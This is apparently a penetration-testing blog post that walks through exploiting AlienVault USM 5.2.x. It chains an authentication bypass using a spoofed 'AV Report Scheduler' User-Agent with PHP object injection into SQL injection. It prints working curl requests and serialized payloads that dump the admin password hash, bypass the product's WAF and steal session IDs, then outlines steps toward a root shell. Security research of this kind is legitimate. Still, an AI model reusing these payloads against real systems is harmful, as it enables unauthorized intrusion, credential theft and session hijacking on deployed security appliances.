Being a penetration tester makes us feel like a group of traveler. Discovering the internal world of the institution during engagement gives us the opportunity to make unexpected journeys. In this article, I will share a details of how we got an access to the heart of the company.
Several weeks ago, our team came up with a instance of AlienVault USM solution during internal pentest. For the readers who haven’t met with this solution yet, AlienVault Unified Security Management™ (USM) is an all-in-one platform designed and priced to ensure that mid-market organizations can effectively defend themselves against today’s advanced threats[1]. Another saying, it’s platform that can collect data from all servers/endpoints. Which means, it has access everywhere and contains a sensitive data about whole infrastructure. It’s looks like exactly where we want to get access..!
Weaponising Known Vulnerabilities
Looking for a know vulnerabilities was the first thing I’ve done at the first glance. Thus, I went to the AlienVault security advisory page (https://www.alienvault.com/forums/categories/usm-security-advisory) . As you can see, there is a lot of security patches so far. In order to uncover patched issues, I’ve decided to download two different version of AlienVault (5.3.5 and 5.2.5).
Since AlienVault doesn’t shows older versions at their website, I had to find a workaround. I realised that following URL is used during latest version download.
http://downloads.alienvault.com/c/download?version=current_usm_virtual&t=1485286558148FVpoMqSvU9cH
I went to the http://downloads.alienvault.com/c/download page and then suddenly all the released versions are listed. I really don’t know directory listing leaved as enabled intentionally but I’ve downloaded AlienVault-USM_trial_5.2.4.zip file directly from there which contains a 90 day licensed trial OVA file.
Detecting Programming Language and Grabbing Source Code
AlienVault provides a Jailbreak shell. Also it’s possible to ssh to the box.
Most of the modern frameworks or programming languages reveals itself with cookie name. You must seen one of the following cookie name .ASPNETCOOKIE, JSESSIONID, PHPSESSID
. I saw a PHPSESSID with Set-Cookie header when I visited the initial page.
I run find / -type f|grep '.php'
command in order to locate web directory. It turned out that all files are located at /usr/share/ossim/www
. I compressed whole www directory and copied to my host machine with scp command. Ofcourse, I’ve done this steps for both version.
Using IDE for Diff
I love IDEs. It allow us to trace code and data flow, jumping to the function definition just by clicking. Most of the modern IDEs are indexing project folder for autocomplete and calculate diff between files or even directories.
Cool..! Above pictures shows a changed files under the /www/dashboard/sections
folder. Ofcourse, there is a lot! of changes between selected versions. Since I’ve spent 2 days with source code, I grabbed only necessary changes for this article ?.
Vulnerability 1 – PHP Object Injection
One major difference I’ve spotted is about object injection. It seems someone found a several insecure usage of unserialize()
function and reported them to the AlienVault.
// OLD $chart_info = unserialize(GET("value")); // NEW $chart_info = json_decode(GET("value"),true);
We all know how to exploit object injection issues, I jumped in to the IDEs and searched classes with magic function such as __destruct
and __wakeup
. But all of them was useless for object chaining.
Protip #1: Use cmd + F and then search for “function __destruct”
Protip #2: Print out get_declared_classes() function output right before insecure usage location in order to retrieve accessible classes on namespace. You can’t access a class that haven’t included before.
I decided to the find an advisory or any details about these object injection issues who might have done something more. Very quick google search lead me to the Peter Lapp who reported unserialize() vulnerabilities to the AlienVault.
https://www.exploit-db.com/exploits/40684/
This request will dump user password hashes to a file: /ossim/dashboard/sections/widgets/data/gauge.php?&type=alarm&wtype=blah&asset=1&height=1&value=a%3A1%3A%7Bs%3A4%3A%22type%22%3Bs%3A67%3A%22pass+from+users+INTO+OUTFILE+%27%2Ftmp%2F10.0.0.123_pass_tshark.pcap%27--+-%22%3B%7D The file containing the output can then be retrieved with the following request: /ossim/pcap/download.php?scan_name=pass&sensor_ip=10.0.0.123
Ofcourse I tried this payload against our target as well as 5.3.5 and 5.2.5 test but none of them seemed to work. As noted in the advisory, this payload should have been worked for versions prior to 5.3.1. On the other hand, we know these object injection vulnerability is valid. And also there is no details whether authentication is required or not.
Thus, I decided to the go back to the IDE and look for more interesting stuff.
Vulnerability 2 – Authentication Bypass 0day (Turned out someone else found this as well)
While I was doing source code review I’ve seen following authorisation check everywhere.
Session::logcheck("analysis-menu", "ControlPanelAlarms");
And here is the function definition.
public static function logcheck($menu, $submenu, $login_location = FALSE) { // Scheduler exception: // For some long taking reports, the session could be expired from the command line // It is causing empty graph images in scheduled PDF reports // Important: do not move this lines down if ('AV Report Scheduler' == $_SERVER['HTTP_USER_AGENT']) { return TRUE; } self::external_login(); if (!$login_location) { $conf = $GLOBALS['CONF']; $ossim_link = $conf->get_conf('ossim_link'); $login_location = $ossim_link . '/session/login.php'; } if (!isset($_SESSION['_user']) && !self::am_i_admin()) { header("Location: $login_location"); exit(); } if (self::menu_perms($menu, $submenu) == FALSE) { self::unallowed_section(NULL, 'noback', $menu, $submenu); } }
This was the huge moment for me. I believe everyone who are reading this article right now can spot the issue here. Using AV Report Scheduler
as a User-Agent will bypass authentication control on almost every single endpoint.
Then it turned out this issue was also reported as well (http://www.zerodayinitiative.com/advisories/ZDI-16-517/). The sadness of not being person who discovered an very important zero day vulnerability… Nevertheless, this is a huge improvement for our investigation.
Vulnerability 3 – IP Spoofing with X-Forwarded-For (0day)
I’ve found following piece during code review. It takes X-Forwarded-For header and then save it to the database.
$this->ip2 = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : '';
I’ve set my IP adress to the 12.0.0.1 and send all the request. I saw the following log detail when I looked at the user activities details.
It quite easy to spoof our IP address in order to avoid logging our real IP address.
Our attack plan seems ready. By abusing Vulnerability #2 we must be able to exploit Vulnerability #1 without authentication. But first things first, we need to make Vulnerability #1 work.
Get Back To the PHP Object Injection
Let’s dive into the gauge.php file. Because there is a valid object injection vulnerability but PoC haven’t worked as said. We need to make it work in order to perform a successful sql injection attack.
<?php require_once 'av_init.php'; require_once '../widget_common.php'; //Checking if we have permissions to go through this section Session::logcheck("dashboard-menu", "ControlPanelExecutive"); //Getting the current user $user = Session::get_session_user(); //This is the type of security widget. $type = GET("type"); //ID of the widget $id = GET("id"); //Validation ossim_valid($type, OSS_TEXT, 'illegal:' . _("type")); ossim_valid($id, OSS_DIGIT, OSS_NULLABLE, 'illegal:' . _("Widget ID")); if (ossim_error()) { die(ossim_error()); } //End of validation //Array that contains the widget's general info $winfo = array(); //Array that contains the info about the widget's representation, this is: chart info, tag cloud info, etc. $chart_info = array(); //If the ID is empty it means that we are in the wizard previsualization. We get all the info from the GET parameters. if (!isset($id) || empty($id)) { $winfo['height'] = GET("height"); //Height of the widget $winfo['wtype'] = GET("wtype"); //Type of widget: chart, tag_cloud, etc. $winfo['asset'] = GET("asset"); //Assets implicated in the widget $chart_info = unserialize(GET("value")); //Params of the widget representation, this is: type of chart, legend params, etc. } else //If the ID is not empty, we are in the normal case; loading the widget from the dashboard. In this case we get the info from the DB. { // ... OMITTING CODE AGAIN ... } //Validation ossim_valid($winfo['wtype'], OSS_TEXT, 'illegal:' . _("Type")); ossim_valid($winfo['height'], OSS_DIGIT, 'illegal:' . _("Widget ID")); ossim_valid($winfo['asset'], OSS_HEX,OSS_SCORE,OSS_ALPHA,OSS_USER, 'illegal:' . _("Asset/User/Entity")); if (is_array($chart_info) && !empty($chart_info)) { $validation = get_array_validation(); foreach($chart_info as $key=>$val) { eval("ossim_valid(\"\$val\", ".$validation[$key].", 'illegal:" . _($key)."');"); } } if (ossim_error()) { die(ossim_error()); } //End of validation. $assets_filters = $param_filters = array(); $assets_filters = get_asset_filters($conn, $winfo['asset']); //Variables to store the chart information $data = array(); //The widget's data itself. session_write_close(); //Now the widget's data will be calculated depending of the widget's type. switch($type) { case 'ticket': // ... OMITTING UNNECESSARY CODES... break; case 'alarm': Session::logcheck("analysis-menu", "ControlPanelAlarms"); //Alarm Filters list($ajoin,$awhere) = Security_report::make_where_alarm($conn, '', '', array(), $assets_filters); $awhere = preg_replace('/AND \(a\.timestamp.*/', '', $awhere); $operator = ($chart_info['type'] != '')? $chart_info['type'] : 'max'; $sqlgraph = "SELECT $operator(a.risk) as level FROM alienvault.alarm a $ajoin where a.status='open' $awhere"; $rg = $conn->CacheExecute($sqlgraph); // ... OMITTING UNNECESSARY CODES... break; default: echo _("Unknown Type"); exit(); } $db->close(); //Now the handler is called to draw the proper widget, this is: any kind of chart, tag_cloud, etc... require 'handler.php';
- Line 7: We will bypass this validation by using Vulnerability #2
- Line 13-15: Getting user input
- Line 19-20: Those inputs are validated.
id
can be null or 0-9 digits andtype
must be text that doesn’t contains * or %. - Line 34-41: This is the where we want to enter. It take several input and will be validated.
value
value parameter is the right place where we have object injection issue. - Line 49-60: Variables taken from user at previous step are validated here. And more validation.
- Line 70: This is important.
$winfo['asset']
is populated with user data and it goes into the function. This function must be returned without any issue. We will look for that in a minute. - Line 94-96: Do you remember a
$chart_info
array variable that populated with insecure usage ofunserialize
function ? It directly goes into the SQL query when$type
value is an alarm which is under the user control as well.
Well, this is very sweet..! But we need to figure out a correct value for $winfo['asset']
which is used as a get_asset_filters
function parameter.
Let’s have a look at that function definition.
function get_asset_filters($conn, $asset) { if( !Session::is_pro() || preg_match("/ALL_ASSETS/",$asset) ) { $return['ctx'] = array(); $return['assets']['host'] = array(); $return['assets']['net'] = array(); $return['assets']['sensor'] = array(); return $return; } else { include_once AV_MAIN_ROOT_PATH . '/report/asset_type_functions.php'; $filters = getAssetFilter(array('assets' => $asset), $conn); return $filters; } }
This time, it goes into the getAssetFilter
function. Now lets dive into the definition one more time.
function getAssetFilter($dDB,$dbconn,$limit=null,$page=0,&$counter = null){ $return = array(); $assets = $dDB['assets']; $return_asset = array('host' => array(), 'net' => array(), 'sensor' => array()); $return_ctx = array(); $assets = ( empty($dDB['assets']) ) ? 'ALL_ASSETS' : $dDB['assets']; // ... OMITTED. THERE IS A 200+ MORE LINE CODE return $return; }
I cut down unnecessary codes again. Because we got what we need. Look at the line 9. ALL_ASSETS will be used if it’s empty. So we can fill the variable with ALL_ASSETS ?
Triggering The SQLi
First we need to create proper serialized string.
<?php $a = array( "type" => "1337 INTO OUTFILE '/tmp/pentestblog.txt'" ); echo urlencode(serialize($a));
And then triggering the vulnerability. We do use special user-agent, remember Vulnerability #2.
curl -k "https://12.0.0.137/ossim/dashboard/sections/widgets/data/gauge.php?type=alarm&wtype=blah&asset=ALL_ASSETS&height=1&value=a%3A1%3A%7Bs%3A4%3A%22type%22%3Bs%3A43%3A%221337+INTO+OUTFILE+%27%2Ftmp%2Fpentestblog.txt%27--+%22%3B%7D" -H "User-Agent: AV Report Scheduler"
As you can see pentestblog.txt is created under the /tmp folder with mysql user owner..! viola.
VirtualUSMAllInOne:/tmp# ls -al pentest* -rw-rw-rw- 1 mysql mysql 5 Jan 30 13:09 pentestblog.txt
We managed to execute sql queries and dump the result into the file. What is the point of having result in a file located at server ? Luckly, error reporting is not disabled globally on Alien Vault which means we can use error-based sql injection payload in order to get executed query’s response back.
Lets change the payload that returns admin password hash in a hex form.
<?php $a = array( "type" => "pass FROM users WHERE login='admin' and (select 1 from(select count(*),concat((select (select concat(0x37,Hex(cast(pass as char)),0x37)) from alienvault.users where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- " ); echo urlencode(serialize($a));
Here is the response from server.
Variable: GET.value | Value: a:1:{s:4:"type";s:256:"pass FROM users WHERE login='admin' and (select 1 from(select count(*),concat((select (select concat(0x37,Hex(cast(pass as char)),0x37)) from alienvault.users where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- ";}<br/> Impact: 6 | Tags: sqli<br/> Description: Detects concatenated SQL injection attempts | Tags: sqli | ID: 2
It seems AlienVault tries to protect itself from cyber attacks as well. We need to bypass it as well. Let’s change our error-based payload with BIGINT[2] technique.
<?php $a = array( 'type' => "!atan((select*from(select pass from users limit 1)a))-~0-- " ); echo urlencode(serialize($a));
Here is the response from server.
<div style='padding: 5px 5px 5px 25px;'> <div class='nf_error'>Error in the 'type' field ("!" not allowed).<br/>Introduced string: '<strong>!atan((select*from(select pass from users limit 1)a))-~0-- </strong>'</div> </div>
Our SQLi payload contains exclamation mark which is not allowed. But I believe we do have a good news as well. WAF didn’t catch our request ? We came all the way until here. We can not give up
Lets try extractvalue method[3].
<?php $a = array( 'type' => "1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,pass) FROM users LIMIT 1)))-- " ); echo urlencode(serialize($a));
Here is the response from server.
XPATH syntax error: '::d2e24d54dbf281eadafd2daa8c4c0a'%
Sweeet ? As a result of this chapter. We managed to bypass WAF, Authentication Mechanism in order to abuse Object Injection Vulnerability that leads to SQL Injection attack. What a interesting sentences to make, isn’t it ?
Too Lazy To Crack Hash. Let’s Hijack Administrator Session.
AlienVault stores phpsessid values of authenticated users at table named as session. Instead of exploiting sql injection in order to get administrator hash, we can simply get a session id value and then use it for session hijacking.
<?php $a = array( 'type' => "1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,id) FROM sessions LIMIT 1)))-- " ); echo urlencode(serialize($a));
Returned data will be session id value for authenticated user. Also there is column named as login where you can on WHERE statement in order to get specific user token.
Visiting Inn For moar Information
We have an unauthenticated sql injection vulnerability but we still haven’t find a way to get shell..! Thus, I go back to google and keep searching published exploit. I’ve found a metasploit module for AlienVault OSSIM versions 4.3.1 and lower[4] . Once I review the source code, I’ve spotted a “feature” called Action that capable to execute operation system command.
Exploitation Steps
Here is the how we gonna delivery our payload.
- Abuse authentication bypass issue (#Vulnerability 2) in order to reach vulnerable endpoint.
- Perform php injection attack (#Vulnerability 1) that lead us to the sql query execution on server.
- Use extractvalue method for error-based sqli injection. This will also bypass weak WAF protection.
- Get session token from
session
table. - Create a custom AlienVault action that executes our payload by using captured session token.
- Create a policy that will be triggered when SSH login attempt with invalid credentials occurred.
- Bind policy and action.
- Start handler.
- Perform SSH login with invalida credentials.
- Got root shell..!
Here is the metasploit module that automates all steps and then got root shell..!
Here is the PR of the module. https://github.com/rapid7/metasploit-framework/pull/7893
Update #1
AlienVault took down a website where you can download older versions of USM/OSSIM products right after this article published.
Update #2
This article shows how we managed to got access to the AlienVault USM 5.2.5 version. Current version of USM 5.3.5 which address all the issues mention above. But! I believe there is another 0day issues that has CVSS 10.0 score discovered by researcher called as 62600BCA031B9EB5CB4A74ADDDD6771E. You can see the details at upcoming advisories of ZDI http://www.zerodayinitiative.com/advisories/upcoming/
References
[1] – https://www.alienvault.com/products/
[2] – https://www.exploit-db.com/docs/37733.pdf
[3] – https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
[4] – https://www.rapid7.com/db/modules/exploit/linux/http/alienvault_sqli_exec